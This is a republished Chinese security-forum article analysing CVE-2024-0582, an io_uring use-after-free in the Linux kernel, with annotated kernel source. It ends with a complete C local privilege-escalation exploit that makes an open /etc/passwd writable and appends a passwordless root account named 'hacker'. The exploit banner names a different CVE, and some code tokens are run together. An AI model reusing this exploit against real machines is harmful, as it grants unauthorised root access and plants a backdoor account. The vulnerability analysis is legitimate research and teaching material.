CVE-2024-0582 内核提权详细分析

admin 2025年7月8日20:13:26评论7 views字数 12508阅读41分41秒阅读模式

一、漏洞简介

漏洞编号: CVE-2024-0582

影响版本: v6.4  < Linux Kernel < v6.6.5


漏洞产品: linux kernel - io_uring & io_unregister_pbuf_ring & uaf


利用效果: 本地提权


CVE-2024-0582 内核提权详细分析


二、环境搭建

复现环境:qemu + linux kernel v6.5.3

环境附件:mowenroot/Kernel


复现流程: 执行exp后,账号:hacker的root用户被添加。su hacker完成提权。


CVE-2024-0582 内核提权详细分析


三、漏洞原理


漏洞本质是uaf。从内核版本5.7开始,为了便于管理不同的缓冲区集,io_uring允许应用程序注册由组 ID 标识的缓冲区池。通过io_uring_registeropcode->IORING_REGISTER_PBUF_RING调用io_register_pbuf_ring()来完成注册ID标识缓冲区。并从内核版本6.4开始,io_uring还允许用户将提供的缓冲区环的分配委托给内核,由IOU_PBUF_RING_MMAP标识符即可生成。调用IOU_PBUF_RING_MMAP由内核完成分配空间后,然后使用mmap()标识符映射到用户的地址,但是这个操作不会修改页面结构(pgae)的引用计数,然后使用io_unregister_pbuf_ring()释放申请的空间的时候会调用put_page_testzero(page),对page引用-1并判断引用是否为0,如果为0就会释放page,因为mmap映射的时候并不会页面结构(pgae)的引用计数,内核并不知道是否取消了内存的映射。所以就会出现映射未取消就释放page的情况,而导致用户虚拟地址对物理地址映射未取消的UAF



四、漏洞分析


关于io_uring的一些基础知识之前的文章已经详细介绍过,如果师傅们感兴趣可以看看之前的文章。接下来只介绍漏洞相关的点。


NVD描述:A memory leak flaw was found in the Linux kernel’s io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.


io_uring_register提供了接口io_register_pbuf_ring 来完成注册ID标识缓冲区。旨在通过ID来对不同的缓冲区进行管理。下面分析的kernel源码版本为v6.5.3


CVE-2024-0582 内核提权详细分析

io_register_pbuf_ring

「1」  首先把用户数据复制到内核的reg。然后参数检查,判断entries是否为2次幂,并且限制entries最大不能超过65536。需要注意一点:意味着条目最大为32768


「2」  如果ctx->io_bl为初始化时,会尝试初始化ctx->io_bl,这里的io_bl是一个64长度的数组。数组中存放io_buffer_list。如果id大于等于64时就会通过xarray来管理。


「3」  调用io_buffer_get_list(),通过id获取对应bl (buf list),如果bl为空时,则会申请结构体io_buffer_list空间,标志为GFP_KERNEL


「4」  当使用IOU_PBUF_RING_MMAP时,会调用io_alloc_pbuf_ring(),来申请buf_ring空间,否则内存页,最后将 bl加入到ctx中。

使用IOU_PBUF_RING_MMAP就会完成对buf_ring的空间分配,全程都由内核来完成,不同于io_sqe_buffers_register需要用户传入注册的地址。用户只需要指定对应注册的ID即可。


int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
    struct io_uring_buf_reg reg;
    struct io_buffer_list *bl, *free_bl = NULL;
    int ret;

    if (copy_from_user(&reg, arg, sizeof(reg)))
        return -EFAULT;

    if (reg.resv[0] || reg.resv[1] || reg.resv[2])
        return -EINVAL;
    if (reg.flags & ~IOU_PBUF_RING_MMAP)
        return -EINVAL;
    // 非 MMAP的时候会检查 ring_addr
    if (!(reg.flags & IOU_PBUF_RING_MMAP)) {
        if (!reg.ring_addr)
            return -EFAULT;
        if (reg.ring_addr & ~PAGE_MASK)
            return -EINVAL;
    } else {
        if (reg.ring_addr)
            return -EINVAL;
    }
    // 判断是否为 2的幂
    if (!is_power_of_2(reg.ring_entries))
        return -EINVAL;

    /* cannot disambiguate full vs empty due to head/tail size */
    // MAX限制
    if (reg.ring_entries >= 65536)
        return -EINVAL;
    // 当 0 <= id < 64 时,并且 io_bl 未初始化 
    if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) {
        // 尝试初始化 io_bl (buf list)
        int ret = io_init_bl_list(ctx);
        if (ret)
            return ret;
    }
    // 通过 id 获取对应 bl (buf list)
    bl = io_buffer_get_list(ctx, reg.bgid);
    if (bl) {
        /* if mapped buffer ring OR classic exists, don't allow */
        if (bl->is_mapped || !list_empty(&bl->buf_list))
            return -EEXIST;
    } else {
        // 申请结构体 io_buffer_list 空间
        free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
        if (!bl)
            return -ENOMEM;
    }

    if (!(reg.flags & IOU_PBUF_RING_MMAP))
        // 非 IOU_PBUF_RING_MMAP 用来固定内存页
        ret = io_pin_pbuf_ring(&reg, bl);
    else
        // IOU_PBUF_RING_MMAP 会执行到这,申请 buf_ring 空间
        ret = io_alloc_pbuf_ring(&reg, bl);

    if (!ret) {
        // 正常执行
        bl->nr_entries = reg.ring_entries;
        bl->mask = reg.ring_entries - 1;
        // 将链表加入 ctx 
        io_buffer_add_list(ctx, bl, reg.bgid);
        return 0;
    }

    kfree(free_bl);
    return ret;
}


io_buffer_get_list

「1」  返回ID对应的io_buffer_list(bl)。 当 ID 符合限制的时候,会使用数组来管理  io_buffer_list,这个时候直接返回ID对应的bl即可。如果超过限制,则使用xarray来管理。


static inline struct io_buffer_list *io_buffer_get_list(struct io_ring_ctx *ctx,
                            unsigned int bgid)
{
    // 直接返回对应 io_buffer_list
    if (ctx->io_bl && bgid < BGID_ARRAY)
        return &ctx->io_bl[bgid];
    // 如果 id 超过限制,返回xarray中的空间
    return xa_load(&ctx->io_bl_xa, bgid);
}


io_alloc_pbuf_ring

「1」 为io_uring_buf_ring申请空间 。buf_ring环存放  ring_entriesio_uring_buf_ring,而io_uring_buf_ring中存放地址、长度等信息。值得注意的是:申请pages为复合页。


static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
                  struct io_buffer_list *bl)
{
    // 复合页申请
    gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
    size_t ring_size;
    void *ptr;
    //  buf_ring 环存放  ring_entries 个 io_uring_buf_ring
    //  io_uring_buf_ring 指向地址等信息
    ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
    ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
    if (!ptr)
        return -ENOMEM;

    bl->buf_ring = ptr;
    bl->is_mapped = 1;
    bl->is_mmap = 1;
    return 0;
}


io_uring_buf、io_uring_buf_ring结构体


struct io_uring_buf {
    __u64 addr;
    __u32 len;
    __u16 bid;
    __u16 resv;
};

struct io_uring_buf_ring {
    union {
        /*
         * To avoid spilling into more pages than we need to, the
         * ring tail is overlaid with the io_uring_buf->resv field.
         */
        struct {
            __u64 resv1;
            __u32 resv2;
            __u16 resv3;
            __u16 tail;
        };
        __DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs);
    };
};


io_unregister_pbuf_ring

「1」  先根据id获取io_buffer_list,如果id符合标志则调用__io_remove_buffers仅仅释放bl->buf_ring。而不符合标准的使用xarray来管理,会直接释放整个bl


int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
    struct io_uring_buf_reg reg;
    struct io_buffer_list *bl;

    if (copy_from_user(&reg, arg, sizeof(reg)))
        return -EFAULT;
    if (reg.resv[0] || reg.resv[1] || reg.resv[2])
        return -EINVAL;
    if (reg.flags)
        return -EINVAL;
    // 根据 id 获取 io_buffer_list
    bl = io_buffer_get_list(ctx, reg.bgid);
    if (!bl)
        return -ENOENT;
    if (!bl->is_mapped)
        return -EINVAL;
    // 释放 bl
    __io_remove_buffers(ctx, bl, -1U);
    if (bl->bgid >= BGID_ARRAY) {
        xa_erase(&ctx->io_bl_xa, bl->bgid);
        kfree(bl);
    }
    return 0;
}


__io_remove_buffers

「1」  由IORING_REGISTER_PBUF_RING申请的空间,会先获取bl->buf_ring的虚拟地址,然后调用put_page_testzero(),对page引用-1,如果当前引用==0,则释放page,但是使用mmap映射持有时,不会对page引用改变,内核无法知道此时映射是否取消。


static int __io_remove_buffers(struct io_ring_ctx *ctx,
                   struct io_buffer_list *bl, unsigned nbufs)
{
    unsigned i = 0;

    /* shouldn't happen */
    if (!nbufs)
        return 0;
    
    if (bl->is_mapped) {
        i = bl->buf_ring->tail - bl->head;
        // 由 IORING_REGISTER_PBUF_RING,申请的空间
        if (bl->is_mmap) {
            struct page *page;
            // 获取虚拟地址
            page = virt_to_head_page(bl->buf_ring);
            /**
             *  [!!]漏洞处
             *  对page引用 -1,如果当前引用==0,则释放page
             *  使用mmap映射持有时,不会对page引用改变
             *  内核无法知道此时映射是否取消
            */
            if (put_page_testzero(page))
                free_compound_page(page);
            bl->buf_ring = NULL;
            bl->is_mmap = 0;
        } 

//...
    return i;
}



五、漏洞复现


本质就是篡改filp->f_mode为可写,然后篡改/etc/passwd


〔1〕 初始化:绑定CPU,注册io_uring,设置最大可打开文件数 (把rlim_cur设置为rlim_max),nr_files 最大打开file数量。


〔2〕 通过IOU_PBUF_RING_MMAP 注册对应IDbuf_ring区域。然后通过mmap映射到用户空间。


〔3〕 通过io_uring_unregister_buf_ring释放申请的所有buf_ring


〔4〕 喷射  nr_files 个/etc/passwd,因为通过O_RDONLY标识符打开,f_mode固定为0x494a801d


〔5〕 尝试使用UAF,通过固定的f_flags+f_mode == 0x484a801d00008000定位到文件处,修改f_mode


〔6〕因为无法知道文件描述符,所以暴力对所有/etc/passwd进行写操作,通过返回值判断是否写入成功,非常稳定。


#define _GNU_SOURCE 
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>

#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include<sys/stat.h>
#include<sys/file.h>
#pragma pack(16)

#define __int64 long long
#define CLOSE printf("33[0mn");
#define RED printf("33[31m");
#define GREEN printf("33[36m");
#define BLUE printf("33[34m");
#define YELLOW printf("33[33m");
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN "33[32m"
#define COLOR_RED "33[31m"
#define COLOR_YELLOW "33[33m"
#define COLOR_BLUE "33[34m"
#define COLOR_DEFAULT "33[0m"
#define showAddr(var)  dprintf(2, COLOR_GREEN "[*] %s -> %pn" COLOR_DEFAULT, #var, var); 
#define logu(fmt, ...) dprintf(2,  "[*]  " fmt "n" , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE "[*] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      
    do {                                  
        loge(fmt, ##__VA_ARGS__);          
        loge("Exit at line %d", __LINE__);
        exit(1);                          
    } while (0)
#define debug(fmt, ...)                      
    do {                                    
        loge(fmt, ##__VA_ARGS__);            
        loge("debug at line %d", __LINE__);  
        getchar();                          
    } while (0)

#define check_ret(ret, buf) do { if((ret) < 0) { die(buf); } } while(0)
#define MAX_ring_entries 65536
#define PAGE_SZIE 0x1000
void bind_cpu(int core);
void binary_dump(char *desc, void *addr, int len);
struct __attribute__((aligned(0x100))) fake_filp{
    char pad[20];
    uint32_t f_mode;
    char padding[];
};

void prep_rlimit(int *nr_files){
    struct rlimit max_file;

    getrlimit(RLIMIT_NOFILE,&max_file);
    logu("rlim_cur -> %d rlim_max -> %d",max_file.rlim_cur,max_file.rlim_max);
    max_file.rlim_cur=max_file.rlim_max;
    setrlimit(RLIMIT_NOFILE,&max_file);

    int limit = max_file.rlim_max/4;
    *nr_files = limit/2;
    logu("nr_files -> %d",*nr_files);
}

int change_mode(void* addr,uint64_t size){
    int  ret = -1;
    uint64_t* tmp = (uint64_t* )addr;
    for (size_t i = 0; i < size/8; i++)
    {
        // if( tmp[i] != 0)
        //     logi(" addr: %p offset: 0x%llx -> %p",addr+i,i,tmp[i]);
        if(tmp[i]==0x494a801d00000000){
            // logw("successful!! addr: %p offset: 0x%llx -> %p",addr+i*8,i*8,tmp[i]);
            tmp[i] = 0x494f801f00000000;
            ret = 1;
            break;
        }     
    }
    return ret;  
}
int main(void){
    int nr_files,ret;
    struct io_uring ring;
    int nr_bufs = 1000;
    void** bufs;
    struct io_uring_buf_reg reg;
    int* fds;
    staticstruct stat status;
    int passwd_size,passwd_fd;
    char* hacker_buf;
    int hacker_len;
    uint64_t nr_pages,entries,mmap_size,mmap_off;
    RED;puts("[*] CVE-2023-2598 Exploit by mowen");CLOSE;

    stat("/etc/passwd",&status);
    passwd_size=status.st_size;
    logi("passwd_size -> %d",passwd_size);

    hacker_buf =(char*) malloc(passwd_size*2);
    passwd_fd = open("/etc/passwd",O_RDONLY);
    read(passwd_fd,hacker_buf,passwd_size);
    strcat(hacker_buf,"hacker::0:0:root:/root:/bin/shn");
    hacker_len =strlen(hacker_buf);

    bind_cpu(0);
// 1、解除当前进程限制
    prep_rlimit(&nr_files);
// 2、初始化 io_uring
    check_ret(io_uring_queue_init(32,&ring,0),"io_uring_queue_init fail");
    bufs = calloc(nr_bufs,sizeof(*bufs));
    fds = malloc(nr_files*(sizeof(int)));    
    /**
     * nr_pages: 有多少页,构造页数
     * entries = nr_pages*(PAGE_SIZE/sizeof(struct io_uring_buf))
     * mmap_size = entries*sizeof(struct io_uring_buf);
     */
    entries = MAX_ring_entries/2;
    if(entries>MAX_ring_entries){
        die("entries too large");
    }
    nr_pages = entries/256;
    logi("nr_pages -> %d entries -> %d",nr_pages,entries);
// 3、注册 IOU_PBUF_RING_MMAP  
    logu("register buf ring <- IOU_PBUF_RING_MMAP");

    for (size_t i = 0; i < nr_bufs; i++)
    {
        memset(&reg,0,sizeof(reg));
        reg.bgid=i;
        reg.flags=IOU_PBUF_RING_MMAP;
        reg.ring_entries=entries;
        ret=io_uring_register_buf_ring(&ring,&reg,0);
        if(ret < 0){
            die("io_uring_register_buf_ring fail [%d]",i);
        }
        mmap_size = reg.ring_entries*sizeof(struct io_uring_buf);
        mmap_off = IORING_OFF_PBUF_RING | (unsignedlonglong) i << IORING_OFF_PBUF_SHIFT;
        bufs[i] = mmap(
            NULL,
            mmap_size,
            PROT_READ|PROT_WRITE,
            MAP_SHARED,
            ring.ring_fd,
            mmap_off
        );
        if(bufs[i]==MAP_FAILED){
            die("mmap fail");
        }
        io_uring_buf_ring_init(bufs[i]);
        // logu("br[%d] -> %p",i,br[i]);
    }
    logu("unregister buf ring");
    for (size_t i = 0; i < nr_bufs; i++)
    {
        io_uring_unregister_buf_ring(&ring, i);
    }
    
    logi("sparying...");
    for (size_t i = 0; i < nr_files; i++)
    {
        fds[i] = open("/etc/passwd", O_RDONLY);
        check_ret(fds[i],"failed to open file");
    }
    logi("try to leak...");
    for (size_t i = 0; i < nr_bufs; i++)
    {
        ret = change_mode(bufs[i],PAGE_SZIE*nr_pages);
        if(ret<0)continue;
        logi("change_mode success!!!");

        for (size_t i = 0; i < nr_files; i++)
            {
                if(write(fds[i],hacker_buf,hacker_len)>0){
                    logw(" hacker /etc/passwd successful");
                    break;
                }                  
            }
        // debug("debug");
        stat("/etc/passwd",&status);
        logu("passwd_size -> %d",status.st_size);
        if(status.st_size==passwd_size)continue;
        logd("success!!! su hacker to get root");
        exit(0);
    }
            


    RED;puts("[*]failed");CLOSE;
    return 0;
}

void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}




CVE-2024-0582 内核提权详细分析

看雪ID:默文

https://bbs.kanxue.com/user-home-1026022.htm

*本文为看雪论坛精华文章,由 默文 原创,转载请注明来自看雪社区

CVE-2024-0582 内核提权详细分析
议题征集中!看雪·第九届安全开发者峰会

# 往期推荐

IDA旧版本插件移植后卡死的研究及修复

神奇日游保护分析——从Frida的启动说起

Linux 3.10 版本编译 qemu仿真 busybox

深入理解IOS重签名检测

驱动挂钩所有内核导出函数来进行驱动逻辑分析

CVE-2024-0582 内核提权详细分析

CVE-2024-0582 内核提权详细分析

球分享

CVE-2024-0582 内核提权详细分析

球点赞

CVE-2024-0582 内核提权详细分析

球在看


CVE-2024-0582 内核提权详细分析

点击阅读原文查看更多


原文始发于微信公众号(看雪学苑):CVE-2024-0582 内核提权详细分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月8日20:13:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-0582 内核提权详细分析https://cn-sec.com/archives/4234483.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息